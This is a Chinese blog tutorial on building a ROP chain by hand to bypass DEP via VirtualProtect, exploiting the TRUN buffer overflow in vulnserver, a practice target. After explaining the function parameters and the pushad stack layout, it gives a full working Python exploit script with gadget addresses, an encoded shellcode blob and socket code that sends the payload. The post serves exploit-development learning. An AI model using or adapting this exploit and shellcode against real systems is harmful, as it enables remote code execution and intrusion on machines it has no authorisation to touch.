上一篇是通过 mona 自动生成的ROP链,但如果没弄懂原理,只会用工具,那显然人就凉了。

这篇文章我采用手工构造ROP。 有趣的是,在构造的过程中意外的理解了 mona 的 rop chain 原理。

环境

操作系统:Windows 10 x64 (运行的是32位的程序)
漏洞程序:vulnserver (国外研究员开发用来练习漏洞利用的程序)

绕过DEP的方法

与上一篇不同,这次我使用 VirtualProtect 函数。

1
2
3
4
5
6
BOOL VirtualProtect(
LPVOID lpAddress, // 目标地址起始位置(一般是shellcode的起始地址)
DWORD dwSize, // 大小 (修改属性的范围多大)
DWORD flNewProtect, // 请求的保护方式 (保护属性)
PDWORD lpflOldProtect // 保存老的保护方式 (随便一个可写的地址)
);

该函数用于修改一个区域的保护属性,可以将受到DEP保护的区域改成可执行区域。所以我们可以将shellcode布置到栈上,然后调用该函数将栈的属性改为可执行。

关于 flNewProtect 参数,我们可以修改如下几个值。
我们使用0x40即可,将区域改成可读可写可执行(PAGE_EXECUTE_READWRITE)。

1
2
3
4
5
6
7
8
9
Protection flags:
PAGE_EXECUTE = 0x10
PAGE_EXECUTE_READ = 0x20
PAGE_EXECUTE_READWRITE = 0x40
PAGE_EXECUTE_WRITECOPY = 0x80
PAGE_NOACCESS = 0x01
PAGE_READONLY = 0x02
PAGE_READWRITE = 0x04
PAGE_WRITECOPY = 0x08

构造rop chain

第一步,我们先来找 VirtualProtect 的调用,可以使用x64dbg(x32dbg),非常方便。

搜索VirtualProtect,找到了好几条调用,逐个观察找一个合适的。

选择一个调用,然后一步一步跟随指针找到最终的 VirtualProtect。

这里我选择 0x7680ea26 用来构造ROP,为啥要有加一个push ecx呢?因为要用来平衡栈。

这里一系列push、mov来操作ebp,都是为了获取参数中的值。具体我就不分析每个指令对应哪个值了,直接给出答案。

在执行到7680EA27 mov eax,dword ptr ss:[ebp+c]这条指令时,对应栈区要有如下布局:

最终要的是这两行:

1
2
3
4
0336f9e8  00000040 000021c7 0336f9f0 0336fa08 →     (该函数的返回地址)
0336f9f8 0336f9fc 00000291 00000040 0336fa00
↓ ↓ ↓ ↓
(shellcode地址) (size) (保护属性) (随便一个可写地址)

然后就可以开始构造参数了,起初我的想法是像《0day安全软件漏洞分析技术》里那样,将参数直接写在Payload里,然后再随便做做微调就行了。实施的时候才反应过来,漏洞函数是strcpy,也就意味着Payload里不能有0x00,但是我们的参数中又必须得用0x00,比如flNewProtect要写成0x00000040。而且,我的栈地址是随机的,也就是不能写固定的地址,必须通过ROP的方式动态的写。

一条可行的方法,就是将参数先保存在寄存器里,最后逐个将寄存器push到栈上。但是用啥指令可以将寄存器的值push到栈中? 第一直觉是使用 push r32 ; retn,但这种指令不可用,因为retn到的是你push的内容。

然后再想,可以找一条连续push的指令 push eax ; push ebx; push ecx; push edx ; retn,但很遗憾,没有找到这样的指令。然后Google一下,这时我才明白 mona 为什么要用 pushad 这条指令,原来它的作用就是将r32寄存器全部一次性入栈。

根据我的测试,它的入栈顺序是这样的:

1
2
3
4
5
6
7
8
push eax  (lpflOldProtect,任意可写地址)
push ecx (保护属性,0x40)
push edx (size)
push ebx (shellcode起始地址)
push esp (返回地址)
push ebp (指向返回地址-4的位置)
push esi
push edi

接下来思路就明晰了,这些寄存器对应着我们的参数布局,只要通过rop指令将寄存器设置成恰当的值即可。有趣的是,恰好esp对应的是返回地址,这样等VirtualProtect 函数返回时,将直接返回到栈上执行我们的shellcode。

这里要注意的是ebp的值,它需要指向返回地址-4的地方,这样才能正常的获取到参数。

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import socket
import sys
import struct

host = '127.0.0.1'
port = 6666

def create_rop_chain():
rop_gadgets = [
#edi,pushad后的返回地址,即VirtualProtect
0x74E18A41, # pop edi ; retn
0x7680ea26, # VirtualProtect

#ecx,保护属性0x40,没找到合适的指令,只好[add eax,10]* 4了
0x770D708F, # xor eax,eax ; retn
0x76ED36F5, # add eax,10 ; retn
0x76ED36F5, # add eax,10 ; retn
0x76ED36F5, # add eax,10 ; retn
0x76ED36F5, # add eax,10 ; retn
0x77211F4D, # xchg eax,ecx ; retn

#edx,size
0x74e049f2, # mov eax,291 ; retn
0x76F13E4F, # xchg eax,edx ; retn

# ebp,在恰当的位置设置ebp
0x77251BF4, # push esp ; pop ebp ; retn 0x8

# ebx,起始地址。
0x765BF031, # push esp ; pop ebx ; retn

#padding
0x90909090,
0x90909090,

#eax,任意可写地址
0x76872EBF, # push esp ; pop esi ; retn
0x76876802, # xchg eax,esi ; retn

#pushad
0x7714c5ee
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

shellcode = b"\xda\xdb\xbe\x7a\x98\xa7\x3b\xd9\x74\x24\xf4\x5f\x29"
shellcode += b"\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc\x03\x77\x6e\x7a"
shellcode += b"\x52\xc7\x66\xf8\x9d\x38\x76\x9d\x14\xdd\x47\x9d\x43"
shellcode += b"\x95\xf7\x2d\x07\xfb\xfb\xc6\x45\xe8\x88\xab\x41\x1f"
shellcode += b"\x39\x01\xb4\x2e\xba\x3a\x84\x31\x38\x41\xd9\x91\x01"
shellcode += b"\x8a\x2c\xd3\x46\xf7\xdd\x81\x1f\x73\x73\x36\x14\xc9"
shellcode += b"\x48\xbd\x66\xdf\xc8\x22\x3e\xde\xf9\xf4\x35\xb9\xd9"
shellcode += b"\xf7\x9a\xb1\x53\xe0\xff\xfc\x2a\x9b\xcb\x8b\xac\x4d"
shellcode += b"\x02\x73\x02\xb0\xab\x86\x5a\xf4\x0b\x79\x29\x0c\x68"
shellcode += b"\x04\x2a\xcb\x13\xd2\xbf\xc8\xb3\x91\x18\x35\x42\x75"
shellcode += b"\xfe\xbe\x48\x32\x74\x98\x4c\xc5\x59\x92\x68\x4e\x5c"
shellcode += b"\x75\xf9\x14\x7b\x51\xa2\xcf\xe2\xc0\x0e\xa1\x1b\x12"
shellcode += b"\xf1\x1e\xbe\x58\x1f\x4a\xb3\x02\x75\x8d\x41\x39\x3b"
shellcode += b"\x8d\x59\x42\x6b\xe6\x68\xc9\xe4\x71\x75\x18\x41\x8d"
shellcode += b"\x3f\x01\xe3\x06\xe6\xd3\xb6\x4a\x19\x0e\xf4\x72\x9a"
shellcode += b"\xbb\x84\x80\x82\xc9\x81\xcd\x04\x21\xfb\x5e\xe1\x45"
shellcode += b"\xa8\x5f\x20\x26\x2f\xcc\xa8\x87\xca\x74\x4a\xd8"

payload = 'TRUN .'
payload += 'A' * 2006
payload += rop_chain
payload += "\x90" * 6
payload += shellcode
payload += 'C'* len(payload)

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(payload)
s.close()

except Exception, e:
print e